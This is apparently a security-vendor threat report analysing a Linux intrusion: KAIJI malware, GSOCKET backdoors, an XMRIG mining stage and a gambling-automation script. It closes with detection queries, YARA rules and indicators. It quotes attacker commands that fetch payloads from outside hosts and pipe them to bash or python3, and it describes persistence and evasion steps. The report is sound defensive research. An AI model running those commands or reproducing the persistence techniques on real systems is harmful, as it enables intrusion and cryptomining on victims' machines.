KAIJI malware: a comparison to previous samples\n\nWhile investigating the files on the discovered file server, we saw a shell script. This shell script seems to be the main file used to download by an earlier stage, ensuring the correct architecture for the victim is used.\n\n![KAIJI Download.sh Script](/assets/images/betting-on-bots/image2.png \"KAIJI Download.sh Script\")\n\nThe same Shell script is found in other reports where this script is used to deploy KAIJI.\n\nAs part of our investigation, we analyzed the KAIJI malware samples found on the file server and compared them with samples identified by Black Lotus Labs in 2022. Their detailed analysis of `Chaos` (KAIJI) can be found in their blog post[ here](https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/).\n\nUsing [BinDiff](https://github.com/google/bindiff), a binary comparison tool, we compared the functions in the binaries. The analysis revealed that the code in our sample was identical to the previously identified KAIJI sample from 2022.\n\n![Bindiff for Old and New Version of KAIJI](/assets/images/betting-on-bots/image18.png \"Bindiff for Old and New Version of KAIJI\")\n\nAlthough the code was the same, one critical difference stood out: the C2 server address. Although the functionality remained consistent in both binaries, they pointed to different C2 domains.\n\nDelving deeper into the disassembly, we identified a function named `main_Link`. This function is responsible for decoding the C2 server address used by the malware.\n\n![KAIJI main_link Function](/assets/images/betting-on-bots/image31.png \"KAIJI main_link Function\")\n\nOnce decoded, the function searches for the `|(odk)/*-` postfix in the address and removes it, leaving only the C2 domain and port. This process ensures the malware can communicate with its C2 server, though the address it contacts may change between samples.\n\nGiven that some resources have been published that statically reverse engineer KAIJI, we will instead take a more detailed look at its behaviors.\n\n![KAIJI Dynamic Analysis - Part 1](/assets/images/betting-on-bots/image12.png \"KAIJI Dynamic Analysis - Part 1\")\n\nAfter execution, KAIJI creates several files in the `/etc/` and `/dev/` directories, `/etc/id.services.conf`, `/etc/32678`, `/dev/.img` and `/dev/.old`. These scripts are places to establish persistence. \n\nTwo services are set up, `/etc/init.d/linux_kill` and `crond.service`. `crond.service` is executed by Systemd, while `linux_kill` is used for SysVinit persistence.\n\nAfter reloading the Systemd daemon, the first network connection to the C2 is attempted.\n\n![KAIJI Dynamic Analysis - Part 2](/assets/images/betting-on-bots/image18.png \"KAIJI Dynamic Analysis - Part 2\")\n\nNext, the `Systemd Late generator` service file is created. More information on the workings of `Systemd`, and different ways of establishing persistence through this method can be found in our recent blog series dubbed [Linux Detection Engineering - A primer on persistence mechanisms](https://www.elastic.co/security-labs/primer-on-persistence-mechanisms).\n\nKAIJI creates the `/boot/System.img.config` file, which is an executable that is executed through the previously deployed `Systemd` services. This binary, is amongst other binaries, another way of establishing persistence. \n\n![KAIJI Dynamic Analysis - Part 3](/assets/images/betting-on-bots/image26.png \"KAIJI Dynamic Analysis - Part 3\")\n\nNext, KAIJI adjusts the `SELinux` policies to allow unauthorized actions. It searches audit logs for denied operations related to `System.img.conf`, generates a new `SELinux` policy to permit these actions, and installs the policy with elevated priority. By doing this, the malware bypasses security restrictions that would normally block its activity.\n\nAdditionally, it sets up multiple additional forms of persistence through bash profiles, and creates another two malicious artifacts; `/usr/lib/libd1rpcld.so` and `/.img`.\n\nRight after, `/etc/crontab` is altered through an echo command, ensuring that the `/.img` file is executed by root on a set schedule.\n\n![KAIJI Dynamic Analysis - Part 4](/assets/images/betting-on-bots/image20.png \"KAIJI Dynamic Analysis - Part 4\")\n\nKAIJI continues to move several default system binaries to unusual locations, attempting to evade detection along the way.\n\n![KAIJI Dynamic Analysis - Part 5](/assets/images/betting-on-bots/image17.png \"KAIJI Dynamic Analysis - Part 5\")\n\nKAIJI uses the `renice` command to grant PID `2957`, one of KAIJI's planted executables, the highest possible priority (on a scale of -20 to 19, lowest being the highest priority), ensuring it gets more CPU resources than other processes.\n\nTo evade detection, KAIJI employed the bind mount technique, a defense evasion method that obscures malicious activities by manipulating how directories are mounted and viewed within the system.\n\nFinally, we see a trace of `cron` executing the `/.img`, which was planted in the `/etc/crontab` file earlier.\n\n## The saga continues\n\nTwo weeks later, the Apache backdoor became active again. Another backdoor was downloaded via the `www-data` user through the Apache2 process using the command:\n\n```\nsh -c wget http://91.92.241[.]103:8002/gk.php\n```\n\nThe contents of this payload remain unknown. At this stage, we observed attempts at manual privilege escalation, with the attackers deploying `pspy64`. `Pspy` is a command-line tool for process snooping on Linux systems without requiring root permissions. It monitors running processes, including those initiated by other users, and captures events like cron job executions. This tool is particularly useful for analyzing system activity, spotting privilege escalation attempts, and auditing the commands and file system interactions triggered by processes in real time. It's commonly leveraged by attackers for reconnaissance in post-compromise scenarios, giving them visibility into system tasks and potential vulnerabilities.\n\nNotably, `pspy64` was executed by the `[rcu_preempt]` parent, indicating that the threat actors had transitioned from leveraging the web server backdoor to using the GSOCKET backdoor.\n\nFurther attempts at privilege escalation involved exploiting `CVE-2021-4034`, also known as `pwnkit`. This vulnerability affects the `pkexec` component of the PolicyKit package in Linux systems, allowing an unprivileged user to execute arbitrary code with root privileges. By leveraging this flaw, an attacker can gain elevated access to the system, potentially leading to full control over the affected machine.\n\n### Custom built binaries\n\nRight after, the attackers attempted to download a custom-built malware named `apache2` and `apache2v86` from:\n\n* `http://62.72.22[.]91/apache2`\n* `http://62.72.22[.]91/apache2v86`\n\nWe obtained copies of these files, which currently have zero detections on VirusTotal. However, when executing them dynamically, we observed segmentation faults, and our telemetry confirmed segfault activity on the compromised host. Over a week, the threat actor attempted to alter, upload and execute these binaries more than 15 times, but due to repeated segfaults, it is unlikely that they succeeded in running this custom malware.\n\nWhile the binaries failed to execute, they still provided valuable insights during reverse engineering. We uncovered several XOR-encoded strings within the samples.\n\n![Apache2 XOR-Encoded Strings](/assets/images/betting-on-bots/image33.png \"Apache2 XOR-Encoded Strings\")\n\nThe XOR key used to encode the strings was identified as `0x79` (or the character `y`). After decoding the strings, we discovered fragments of an HTTP request header that the malware was attempting to construct:\n\n```\n/934d9091-c90f-4edf-8b18-d44721ba2cdc HTTP/1.1\nsec-ch-ua: \"Chromium\";v=\"122\", \"Google Chrome\";v=\"122\", \"Not-A.Brand\";v=\"99\nsec-ch-ua-platform: \"Windows\"\nupgrade-insecure-requests: 1\naccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nreferer: https://twitter[.]com\naccept-language: ru,en-US;q=0.9\nMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.\n```\n\nThis indicates that the malware was in the process of constructing HTTP requests. However, based on the incomplete nature of the headers and the repeated failures in execution, it’s clear that this piece of software was not yet fully developed or operational.\n\n### Additional reconnaissance \n\nThe attackers continued to use tools from The Hacker’s Choice, by downloading and executing [`whatserver.sh`](https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/tools/whatserver.sh).\n\nThis Shell script is designed to gather and display server information. It extracts details such as the fully qualified domain names (FQDNs) from SSL certificates, Nginx, and Apache configuration files, along with system resource information like CPU and memory usage, virtualization details, and network settings. The script can also summarize recent activities, including last logged-in users and currently listening services.\n\n### Mining activities\n\nAfter nearly two weeks of manual exploitation attempts, the threat actors ceased their efforts to escalate privileges, likely having failed to gain root access. Instead, they established persistence as the `www-data` user, leveraging GSOCKET to set up an SSL connection, which was disguised as a kernel process called `[mm_percpu_wq]`.\n\nAfter decoding the base64 contents, we get a very familiar looking output:\n\nThrough our behavioral rules, we see the threat actor listing the current user’s crontab entries, and echoing a payload directly into the crontab. \n\nThis command tries to download `http://gcp.pagaelrescate[.]com:8080/ifindyou` every minute, and pipe it to bash. Looking at the contents of `ifindyou`, we see the following Bash script:\n\n![Stage 1 - ifindyou.sh](/assets/images/betting-on-bots/image8.png \"Stage 1 - ifindyou.sh\")\n\nThis script gathers hostname and IP information, downloads the `SystemdXC` archive from `http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXC` (XMRIG), stores this in `/tmp/SystemdXC`, extracts the archive and executes it with the necessary parameters to start mining Bitcoin.\n\nWhen examining the mining command, we can see how the malware configures XMRIG:\n\nThis command connects to the `unmineable.com` mining pool, using the infected machine’s hostname as an identifier in the mining process. At the time of writing, there are 15 active workers mining Bitcoin for the wallet address `1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBz`.\n\n![Bitcoin Address Lookup](/assets/images/betting-on-bots/image1.png \"Bitcoin Address Lookup\")\n\nUpon further investigation into the Bitcoin address, we found that this address has performed a single transaction.\n\n![Bitcoin Transaction](/assets/images/betting-on-bots/image32.png \"Bitcoin Transaction\")\n\nInterestingly, the output address for this transaction points to a well-known [hot wallet](https://www.ledger.com/academy/topics/security/hot-wallet-vs-cold-crypto-wallet-whats-the-difference) associated with Binance, indicating that the attackers may have transferred their mining earnings to an exchange platform.\n\n![Binance Wallet Destination](/assets/images/betting-on-bots/image10.png \"Binance Wallet Destination\")\n\nWhen returning our focus back to the script, we also see two commands commented out, which will become more clear later. The script executes:\n\n```\ncurl -s http://gcp.pagaelrescate[.]com:8080/cycnet | bash\n```\n\nLooking at this payload, we can see the following contents:\n\n![Stage 2 - cycnet.sh](/assets/images/betting-on-bots/image23.png \"Stage 2 - cycnet.sh\")\n\nThis stage checks the output of the command, and sends this to a Telegram chat bot. Through our Telegram behavioral rule, we can see that a Telegram POST request looks like this:\n\nThe cron job that is set up during this stage executes at minute 0, every 4th hour. This job executes:\n\n```\ncurl -s http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slot | python3\n```\n\nThe downloaded Python script automates interactions with an online gambling game through HTTP requests. The script includes functions that handle user authentication, betting, processing the outcomes, and sending data to a remote server.\n\nUpon closer examination, we identified the following key components of the script:\n\n**Global Variables:**\n\n* `usuario`: Stores the user ID for managing the session.\n* `apuesta`: Represents the bet amount.\n* `ganancias`: Tracks the winnings and losses.\n* `saldo_actual`: Holds the current account balance.\n\n![enviador_slot Global Variables](/assets/images/betting-on-bots/image3.png \"enviador_slot Global Variables\")\n\n#### Understanding the `obteneruid` Function\n\nThis function authenticates the user by sending a POST request with the necessary headers and JSON data to the remote server. If the user is not already set, it initializes a new session and retrieves the account balance. Upon successful authentication, it returns a session UUID, which is used for further interactions in the game.\n\n\n![enviador_slot obteneruid Function](/assets/images/betting-on-bots/image27.png \"enviador_slot obteneruid Function\")\n\n#### Understanding the `enviardatos` Function\n\nThis function sends game data or status updates back to `gcp.pagaelrescate[.]com`, logging the results or actions taken during gameplay. It uses a simple GET request to transmit this data to the remote server.\n\n![enviador_slot enviardatos Function](/assets/images/betting-on-bots/image4.png \"enviador_slot enviardatos Function\")\n\n#### Understanding the `hacerjugada` Function\n\nThe `hacerjugada` function simulates the betting process for a set number of rounds. It sends POST requests to place bets, updates the winnings or losses after each round, and calculates the overall results. If a bonus round is triggered, it calls `completarbono()` to handle any bonus game details. Between each betting round, the function enforces a 30-second delay to mimic natural gameplay and avoid detection.\n\n![enviador_slot hacerjugada Function](/assets/images/betting-on-bots/image28.png \"enviador_slot hacerjugada Function\")\n\n#### Understanding the `completarbono` Function\n\nWhen a bonus round is triggered, this function completes the round by sending a request containing the session ID and round ID. Based on the result, it updates the account balance and logs the winnings or losses. Any change in the balance is sent back to the remote server using the `enviardatos()` function.\n\n![enviador_slot completarbono Function](/assets/images/betting-on-bots/image6.png \"enviador_slot completarbono Function\")\n\n#### Likely Used for Testing Purposes\n\nIt’s important to note that this script is likely being used for testing purposes, as it interacts with the demo version of the gambling app. This suggests that the attackers might be testing the automation of gambling actions or trying to find vulnerabilities in the app before moving to the live version. The use of a demo environment implies they are refining their approach, potentially in preparation for more sophisticated or widespread attacks.\n\n## REF6138 through MITRE ATT\u0026CK\n\nElastic uses the [MITRE ATT\u0026CK](https://attack.mitre.org/) framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks. During this investigation, we identified the following tactics, techniques and sub-techniques:\n\n*MITRE ATT\u0026CK tactics, techniques and sub-techniques used*\n\n| Tactic | Technique | Sub-Technique |\n|----------------------|----------------------------------------------------|------------------------------------------------------------------------------------|\n| Resource Development | T1587: Develop Capabilities | Malware |\n| | T1588: Obtain Capabilities | Tool |\n| | T1608: Stage Capabilities | Upload Malware |\n| | | Upload Tool |\n| Initial Access | T1190: Exploit Public-Facing Application | |\n| Execution | T1059: Command and Scripting Interpreter | Unix Shell |\n| | | Python |\n| | T1053: Scheduled Task/Job | Cron |\n| Persistence | T1546: Event Triggered Execution | Unix Shell Configuration Modification |\n| | T1053: Scheduled Task/Job | Cron |\n| | T1505: Server Software Component | Web Shell |\n| Privilege Escalation | T1068: Exploitation for Privilege Escalation | |\n| Defense Evasion | T1140: Deobfuscate/Decode Files or Information | |\n| | T1222: File and Directory Permissions Modification | Linux and Mac File and Directory Permissions Modification |\n| | T1564: Hide Artifacts | Hidden Files and Directories |\n| | T1070: Indicator Removal | Timestomp |\n| | T1036: Masquerading | Masquerade Task or Service |\n| | T1027: Obfuscated Files or Information | Software Packing |\n| | | Stripped Payloads |\n| | | Command Obfuscation |\n| | | Encrypted/Encoded File |\n| Discovery | T1057: Process Discovery | |\n| | T1082: System Information Discovery | |\n| | T1061: System Network Configuration Discovery | |\n| | T1049: System Network Connections Discovery | |\n| | T1007: System Service Discovery | |\n| Collection | T1119: Automated Collection | |\n| | T1005: Data from Local System | |\n| Command and Control | T1071: Application Layer Protocol | Web Protocols |\n| | T1132: Data Encoding | Standard Encoding |\n| | T1001: Data Obfuscation | |\n| | T1573: Encrypted Channel | Symmetric Cryptography |\n| | T1105: Ingress Tool Transfer | |\n| | T1571: Non-Standard Port | |\n| | T1572: Protocol Tunneling | |\n| | T1102: Web Service | |\n| Impact | T1496: Resource Hijacking | |\n\n## **Detecting REF6138**\n\nElastic Security implements a multi-layer approach to threat detection, leveraging behavioral SIEM and Endpoint rules, YARA signatures and ML-based anomaly detection approaches. This section describes the detections built by Elastic Security that play a big role in capturing the identified threats.\n\n### Detection\n\nThe following detection rules were observed throughout the analysis of this intrusion set:\n\n* [Segfault Detection](https://github.com/elastic/detection-rules/blob/main/rules_building_block/execution_linux_segfault.toml)\n* [Timestomping using Touch Command](https://github.com/elastic/detection-rules/blob/main/rules/cross-platform/defense_evasion_timestomp_touch.toml)\n* [Shell Configuration Creation or Modification](https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_shell_configuration_modification.toml)\n* [System Binary Moved or Copied](https://github.com/elastic/detection-rules/blob/main/rules/linux/defense_evasion_binary_copied_to_suspicious_directory.toml)\n\n### Prevention\n\nThe following behavior prevention events were observed throughout the analysis of this intrusion set:\n\n* [Linux Reverse Shell via Suspicious Utility](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/execution_linux_reverse_shell_via_suspicious_utility.toml)\n* [Defense Evasion via Bind Mount](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/defense_evasion_defense_evasion_via_bind_mount.toml)\n* [Linux Suspicious Child Process Execution via Interactive Shell](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/execution_linux_suspicious_child_process_execution_via_interactive_shell.toml)\n* [Potential Linux Hack Tool Launched](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/execution_potential_linux_hack_tool_launched.toml)\n* [Privilege Escalation via PKEXEC Exploitation](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/privilege_escalation_privilege_escalation_via_pkexec_exploitation.toml)\n* [Potential SSH-IT SSH Worm Downloaded](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/lateral_movement_potential_ssh_it_ssh_worm_downloaded.toml)\n* [Scheduled Job Executing Binary in Unusual Location](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/linux/persistence_scheduled_job_executing_binary_in_unusual_location.toml)\n\nThe following YARA Signatures are in place to detect the KAIJI and RUDEDEVIL malware samples both as file and in-memory:\n\n* [Linux.Generic.Threat](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Linux_Generic_Threat.yar)\n* [Linux.Hacktool.Flooder](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Linux_Hacktool_Flooder.yar)\n\nThe following, soon to be released, endpoint rule alerts were observed throughout the analysis of this intrusion set:\n\n* Potential Shell via Web Server\n* Potential Web Server Code Injection\n* Potential Shell Executed by Web Server User\n* Decode Activity via Web Server\n* Linux Telegram API Request\n* Suspicious Echo Execution\n\n### Hunting queries in Elastic\n\nThe events for both KQL and EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.\n\n#### EQL queries\n\nUsing the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for behaviors similar:\n\n**Potential XMRIG Execution**\n\nThe following EQL query can be used to hunt for XMRIG executions within your environment.\n\n```\nprocess where event.type == \"start\" and event.action == \"exec\" and (\n (\n process.args in (\"-a\", \"--algo\") and process.args in (\n \"gr\", \"rx/graft\", \"cn/upx2\", \"argon2/chukwav2\", \"cn/ccx\", \"kawpow\", \"rx/keva\", \"cn-pico/tlo\", \"rx/sfx\", \"rx/arq\",\n \"rx/0\", \"argon2/chukwa\", \"argon2/ninja\", \"rx/wow\", \"cn/fast\", \"cn/rwz\", \"cn/zls\", \"cn/double\", \"cn/r\", \"cn-pico\",\n \"cn/half\", \"cn/2\", \"cn/xao\", \"cn/rto\", \"cn-heavy/tube\", \"cn-heavy/xhv\", \"cn-heavy/0\", \"cn/1\", \"cn-lite/1\",\n \"cn-lite/0\", \"cn/0\"\n )\n ) or\n (\n process.args == \"--coin\" and process.args in (\"monero\", \"arqma\", \"dero\")\n )\n) and process.args in (\"-o\", \"--url\")\n```\n\n**MSR Write Access Enabled**\n\nXMRIG leverages modprobe to enable write access to MSR. This activity is abnormal, and should not occur by-default.\n\n```\nprocess where event.type == \"start\" and event.action == \"exec\" and process.name == \"modprobe\" and\nprocess.args == \"msr\" and process.args == \"allow_writes=on\"\n```\n\n**Potential GSOCKET Activity**\n\nThis activity is default behavior when deploying GSOCKET through the recommended deployment methods. Additionally, several arguments are added to the query to decrease the chances of missing a more customized intrusion through GSOCKET. \n\n```\nprocess where event.type == \"start\" and event.action == \"exec\" and\nprocess.name in (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\") and\nprocess.command_line : (\n\"*GS_ARGS=*\", \"*gs-netcat*\", \"*gs-sftp*\", \"*gs-mount*\", \"*gs-full-pipe*\", \"*GS_NOINST=*\", \"*GSOCKET_ARGS=*\", \"*GS_DSTDIR=*\", \"*GS_URL_BASE=*\", \"*GS_OSARCH=*\", \"*GS_DEBUG=*\", \"*GS_HIDDEN_NAME=*\", \"*GS_HOST=*\", \"*GS_PORT=*\", \"*GS_TG_TOKEN=*\", \"*GS_TG_CHATID=*\", \"*GS_DISCORD_KEY=*\", \"*GS_WEBHOOK_KEY=*\"\n)\n```\n\n**Potential Process Masquerading via Exec**\n\nGSOCKET leverages the `exec -a` method to run a process under a different name. GSOCKET specifically leverages masquerades as kernel processes, but other malware may masquerade differently. \n\n```\nprocess where event.type == \"start\" and event.action == \"exec\" and\nprocess.name in (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\") and process.args == \"-c\" and process.command_line : \"* exec -a *\"\n```\n\n**Renice or Ulimit Execution**\n\nSeveral malwares, including KAIJI and RUDEDEVIL, leverage the renice utility to change the priority of processes or set resource limits for processes. This is commonly used by miner malware to increase the priority of mining processes to maximize the mining performance.\n\n```\nprocess where event.type == \"start\" and event.action == \"exec\" and (\n process.name in (\"ulimit\", \"renice\") or (\n process.name in (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\") and process.args == \"-c\" and\n process.command_line : (\"*ulimit*\", \"*renice*\")\n )\n)\n```\n\n**Inexistent Cron(d) Service Started**\n\nBoth KAIJI and RUDEDEVIL establish persistence through the creation of a `cron(d)` service in `/etc/init.d/cron(d)`. `Cron`, by default, does not use a `SysV Init` service. Execution of a `cron(d)` service is suspicious, and should be analyzed further.\n\n```\nprocess where event.type == \"start\" and event.action == \"exec\" and \n process.name == \"systemctl\" and process.args == \"start\" and process.args in \n (\"cron.service\", \"crond.service\", \"cron\", \"crond\")\n```\n\n**Suspicious /etc/ Process Execution from KAIJI**\n\nThe `/etc/` directory is not a commonly used directory for process executions. KAIJI is known to place a binary called `32678` and `id.services.conf` in the `/etc/` directory, to establish persistence and evade detection.\n\n```\nprocess where event.type == \"start\" and event.action == \"exec\" and (process.executable regex \"\"\"/etc/[0-9].*\"\"\" or process.executable : (\"/etc/*.conf\", \"/etc/.*\"))\n```\n\n**Hidden File Creation in /dev/ directory**\n\nCreating hidden files in `/dev/` and `/dev/shm/` are not inherently malicious, however, this activity should be uncommon. KAIJI, GSOCKET and other malwares such as `K4SPREADER` are known to drop hidden files in these locations.\n\n```\nfile where event.type == \"creation\" and file.path : (\"/dev/shm/.*\", \"/dev/.*\")\n```\n\n**Suspicious Process Execution from Parent Executable in /boot/**\n\nMalwares such as KAIJI and XORDDOS are known to place executable files in the `/boot/` directory, and leverage these to establish persistence while attempting to evade detection.\n\n```\nprocess where event.type == \"start\" and event.action == \"exec\" and process.parent.executable : \"/boot/*\"\n```\n\n#### YARA\n\nElastic Security has created YARA rules to identify this activity. Below is the YARA rule to identify the custom `Apache2` malware:\n\n```\nrule Linux_Trojan_Generic {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2024-09-20\"\n last_modified = \"2024-09-20\"\n os = \"Linux\"\n arch = \"x86\"\n threat_name = \"Linux.Trojan.Generic\"\n reference = \"https://www.elastic.co/security-labs/betting-on-bots\"\n license = \"Elastic License v2\"\n\n strings:\n $enc1 = { 74 73 0A 1C 1A 54 1A 11 54 0C 18 43 59 5B 3A 11 0B 16 14 10 0C 14 5B }\n $enc2 = { 18 1A 1A 1C 09 0D 43 59 0D 1C 01 0D 56 11 0D 14 15 55 18 09 09 15 10 }\n $enc3 = { 18 1A 1A 1C 09 0D 54 15 18 17 1E 0C 18 1E 1C 43 59 0B 0C }\n $enc4 = { 34 16 03 10 15 15 18 56 4C 57 49 59 51 2E 10 17 1D 16 0E 0A 59 37 }\n $key = \"yyyyyyyy\"\n condition:\n 1 of ($enc*) and $key\n}\n```\n\nTo detect GSOCKET, including several of its adjacent tools, we created the following signature:\n\n```\nrule Multi_Hacktool_Gsocket {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2024-09-20\"\n last_modified = \"2024-09-23\"\n os = \"Linux, MacOS\"\n arch = \"x86\"\n threat_name = \"Multi.Hacktool.Gsocket\"\n reference = \"https://www.elastic.co/security-labs/betting-on-bots\"\n license = \"Elastic License v2\"\n\n strings:\n $str1 = \"gsocket: gs_funcs not found\"\n $str2 = \"/share/gsocket/gs_funcs\"\n $str3 = \"$GSOCKET_ARGS\"\n $str4 = \"GSOCKET_SECRET\"\n $str5 = \"GS_HIJACK_PORTS\"\n $str6 = \"sftp -D gs-netcat\"\n $str7 = \"GS_NETCAT_BIN\"\n $str8 = \"GSOCKET_NO_GREETINGS\"\n $str9 = \"GS-NETCAT(1)\"\n $str10 = \"GSOCKET_SOCKS_IP\"\n $str11 = \"GSOCKET_SOCKS_PORT\"\n $str12 = \"gsocket(1)\"\n $str13 = \"gs-sftp(1)\"\n $str14 = \"gs-mount(1)\"\n condition:\n 3 of them\n}\n```\n\nFinally, the following signature was written to detect the [open source Ligolo-ng tool](https://github.com/nicocha30/ligolo-ng), as we have reason to believe this tool was used during this intrusion.\n\n\n```\nrule Linux_Hacktool_LigoloNG {\n meta:\n author = \"Elastic Security\"\n creation_date = \"2024-09-20\"\n last_modified = \"2024-09-20\"\n os = \"Linux\"\n arch = \"x86\"\n threat_name = \"Linux.Hacktool.LigoloNG\"\n reference = \"https://www.elastic.co/security-labs/betting-on-bots\"\n license = \"Elastic License v2\"\n\n strings:\n $a = \"https://github.com/nicocha30/ligolo-ng\"\n $b = \"@Nicocha30!\"\n $c = \"Ligolo-ng %s / %s / %s\"\n condition:\n all of them\n}\n```\n\n### Defensive recommendations\n\nTo effectively defend against malware campaigns and minimize the risk of intrusion, it’s crucial to implement a multi-layered approach to security. Here are some key defensive measures you should prioritize:\n\n1. **Keep Your Elastic Detection Rules Updated and Enabled**: Ensure that your security tools, including any pre-built detection rules, are up to date. Continuous updates allow your systems to detect the latest malware signatures and behaviors.\n2. **Enable Prevention Mode in Elastic Defend**: Configure Elastic Defend in prevention mode to automatically block known threats rather than just alerting on them. Prevention mode ensures proactive defense against malware and exploits.\n3. **Monitor Alerts and Logs**: Regularly monitor alerts, logs, and servers for any signs of suspicious activity. Early detection of unusual behavior can help prevent a small breach from escalating into a full-blown compromise.\n4. **Conduct Threat Hunting**: Proactively investigate your environment for hidden threats that may have evaded detection. Threat hunting can uncover advanced attacks and persistent malware that bypass traditional security measures.\n5. **Implement Web Application Firewalls (WAFs)**: Use a WAF to block unauthorized or malicious traffic. A properly configured firewall can prevent many common web attacks.\n6. **Enforce Strong Authentication for SSH**: Use public/private key authentication for SSH access to protect against brute force attacks.\n7. **Write Secure Code**: Ensure that all custom software, especially web server technology, follows secure coding practices. Engaging professional security auditors to review your code can help identify and mitigate vulnerabilities before they are exploited.\n8. **Regularly Patch and Update Systems**: Keeping servers, applications, and software up to date is essential to defending against known vulnerabilities. Prompt patching minimizes the risk of being targeted by off-the-shelf exploits.\n\nBy following these recommendations, you can significantly reduce the attack surface and strengthen your defense against ongoing or potential malware threats.\n\n## Observations\n\nThe following observables were discussed in this research. These are available for download in STIX or ECS format [here](https://github.com/elastic/labs-releases/tree/main/indicators/ref6138).\n\n| Observable | Type | Name | Reference |\n|-------------------------------------------------------------------------------------------------|-------------|------------------------|------------------------------------|\n| 72ac2877c9e4cd7d70673c0643eb16805977a9b8d55b6b2e5a6491db565cee1f | SHA-256 | SystemdXC | XMRIG |\n| 82c55c169b6cb5e348be6e202163296b2b5d80fff2be791c21da9a8b84188684 | SHA-256 | apache2 | apache2_unpacked |\n| 0fede7231267afc03b096ee6c1d3ded479b10ab235e260120bc9f68dd1fc54dd | SHA-256 | apache2_upx_packed | apache2_upx_packed |\n| 9ee695e55907a99f097c4c0ad4eb24ae5cf3f8215e9904d787817f1becb9449e | SHA-256 | download.sh | KAIJI Stager |\n| 1cdfb522acb1ad0745a4b88f072e40bf9aa113b63030fe002728bac50a46ae79 | SHA-256 | linux_386 | KAIJI x86 |\n| d0ef2f020082556884361914114429ed82611ef8de09d878431745ccd07c06d8 | SHA-256 | linux_amd64 | KAIJI x64 |\n| ad36cf59b5eb08799a50e9aece6f12cdfe8620062606ac6684d3b4509acc681b | SHA-256 | linux_arm5 | KAIJI ARM5 |\n| 792a84a5bc8530285e2f6eb997054edb3d43460a99a089468e2cf81b5fd5cde6 | SHA-256 | linux_arm6 | KAIJI ARM6 |\n| e19fb249db323d2388e91f92ff0c8a7a169caf34c3bdaf4d3544ce6bfb8b88b4 | SHA-256 | linux_arm64 | KAIJI ARM64 |\n| 3847c06f95dd92ec482212116408286986bb4b711e27def446fb4a524611b745 | SHA-256 | linux_arm7 | KAIJI ARM7 |\n| fffee23324813743b8660282ccd745daa6fb058f2bf84b9960f70d888cd33ba0 | SHA-256 | linux_mips | KAIJI MIPS |\n| 6d40b58e97c7b4c34f7b5bdac88f46e943e25faa887e0e6ce5f2855008e83f55 | SHA-256 | linux_mips64 | KAIJI MIPS64 |\n| 0c3442b8c49844a1ee41705a9e4a710ae3c7cde76c69c2eab733366b2aa34814 | SHA-256 | linux_mips64el | KAIJI MIPS64 little-endian |\n| 310973f6f186947cb7cff0e7b46b4645acdd71e90104f334caa88a4fa8ad9988 | SHA-256 | linux_mips_softfloat | KAIJI MIPS softfloat |\n| 0d24a2e7da52bad03b0bda45c8435a29c4e1c9b483e425ae71b79fd122598527 | SHA-256 | linux_mipsel | KAIJI MIPS little-endian |\n| 36fc8eef2e1574e00ba3cf9e2267d4d295f6e9f138474e3bd85eb4d215f63196 | SHA-256 | linux_mipsel_softfloat | KAIJI MIPS little-endian softfloat |\n| 3c25a4406787cc5089e83e00350e49eb9f192d03d69e7a61b780b6828db1344f | SHA-256 | linux_ppc64 | KAIJI PPC64 |\n| 7c16149db7766c6fd89f28031aa123408228f045e90aa03828c02562d9f9d1d7 | SHA-256 | linux_ppc64el | KAIJI PPC64 little-endian |\n| 09f935acbac36d224acfb809ad82c475d53d74ab505f057f5ac40611d7c3dbe7 | SHA-256 | l64_v0 | RUDEDEVIL/LUFICER x64 version 0 |\n| ea0068702ea65725700b1dad73affe68cf29705c826d12a497dccf92d3cded46 | SHA-256 | l64_v1 | RUDEDEVIL/LUFICER x64 version 1 |\n| 160f232566968ade54ee875def81fc4ca69e5507faae0fceb5bef6139346496a | SHA-256 | l64_v2 | RUDEDEVIL/LUFICER x64 version 2 |\n| 89b60cedc3a4efb02ceaf629d6675ec9541addae4689489f3ab8ec7741ec8055 | SHA-256 | l64_v3 | RUDEDEVIL/LUFICER x64 version 3 |\n| 20899c5e2ecd94b9e0a8d1af0114332c408fb65a6eb3837d4afee000b2a0941b | SHA-256 | l86_v0 | RUDEDEVIL/LUFICER x86 version 0 |\n| 728dce11ffd7eb35f80553d0b2bc82191fe9ff8f0d0750fcca04d0e77d5be28c | SHA-256 | l86_v1 | RUDEDEVIL/LUFICER x86 version 1 |\n| 47ceca049bfcb894c9a229e7234e8146d8aeda6edd1629bc4822ab826b5b9a40 | SHA-256 | l86_v2 | RUDEDEVIL/LUFICER x86 version 2 |\n| e89f4073490e48aa03ec0256d0bfa6cf9c9ac6feb271a23cb6bc571170d1bcb5 | SHA-256 | l86_v3 | RUDEDEVIL/LUFICER x86 version 3 |\n| d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60 | SHA-256 | hjvhg.exe | Miner |\n| 